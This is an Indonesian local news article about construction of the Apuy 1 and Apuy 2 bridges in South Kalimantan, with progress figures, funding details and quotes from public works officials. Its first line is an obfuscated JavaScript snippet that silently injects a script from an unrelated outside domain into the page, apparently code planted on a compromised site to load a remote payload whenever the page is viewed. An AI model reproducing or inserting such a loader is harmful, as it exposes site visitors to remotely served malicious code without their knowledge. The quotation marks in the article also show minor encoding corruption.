(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel terus mendorong pembangunan jembatan sungai Apuy 1 dan Apuy 2 yang ditargetkan selesai pada akhir tahun 2019 ini.
Pembangunan kedua jembatan itu, merupakan langkah awal pemerintah daerah untuk merealisasikan wacana pembangunan jalan bebas hambatan yang menghubungkan Kota Banjarbaru dan Kabupaten Tanah Bumbu. Pasalnya, kondisi jalan saat ini belum menyatu seluruhnya, sehingga perlu dibangun beberapa jembatan.
Pembangunan jembatan sungai Apuy 1 dan Apuy 2 telah dimulai pada bulan Juni lalu, dengan jangka waktu pelaksanaan selama 210 hari. Melalui kucuran dana APBD 2019 senilai Rp 33,66 miliar, pengerjaaan kedua jembatan ini dipercayakan ke PT Pandji Pratama.
Jarak antara jembatan sungai Apuy 1 dan Apuy 2 tidak jauh, yakni hanya 500 meter. Meski pembangunan kedua jembatan ini dalam satu paket, rupanya masing-masing jembatan memiliki panjang berbeda. Bentang 30 meter dan bentang 60 meter. Masa kontrak pengerjaan jembatan ini akan berakhir pada tanggal 18 Desember 2019.
Kepala Dinas PUPR Kalsel, Roy Rizali Anwar melalui Kabid Bina Marga, M Yasin Toyib mengatakan, progres pembangunan kedua jembatan tersebut telah mencapai 36,69 persen. Bahkan, selang beberapa minggu kedepan, progres akan meningkat pesat.
“Terakhir sudah proses abutment. Kita masih menunggu girder (balok penyangga) yang rencananya dua minggu lagi datang. Kalau girder sudah datang totalnya progres mencapai 78 persen,†katanya kepada Kanalkalimantan.com, Rabu (16/10) pagi.
Ditanya terkait pabrikasi girder, Yasin mengakui bahwa pembuatannya sudah mencapai 50 persen. Dirinya berharap tidak ada kendala dalam pengiriman nantinya. Sehingga girder dapat langsung dipasang dan melanjutkan ke pengerjaan lantai jembatan.
“Intinya kita mau ditarget 2020, jalan tol bebas hambatan fungsional sesuai harapan pak Gubernur. Makanya pembangunan jembatan ini harus diselesaikan di 2019. Kalau sudah jembatan selesai, maka kita akan mengusulkan ke Kementrian untuk pembangunan jalan penghubung Banjarbaru dan Tanah Bumbu,†lanjutnya.
Perlu diketahui, pembangunan jembatan Apuy 1 dan 2 merupakan dua di antara empat jembatan yang dibangun Pemprov Kalsel untuk nantinya merealisasikan wacana pembangunan jalan bebas hambatan penghubung Banjarbaru dan Tanah Bumbu.
Adapun dua jembatan lainnya yang dibangun yakni, paket Sungai Temunih dan Sungai Kusan senilai Rp 34, 577 miliar dikerjakan oleh PT Hasrat Jaya Utama.
Selain membangun jembatan panjang, pihaknya juga membangun jembatan box culvert terdiri dari dua paket pekerjaan yaitu Awang Bangkal-Temunih dan Temunih-Kodeco 58. Paket Awal Bangkal-Temunih sebanyak 15 box culvert dan Temunih-Kodeco 58 sebanyak 13 box culvert. (rico)
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
This website uses cookies.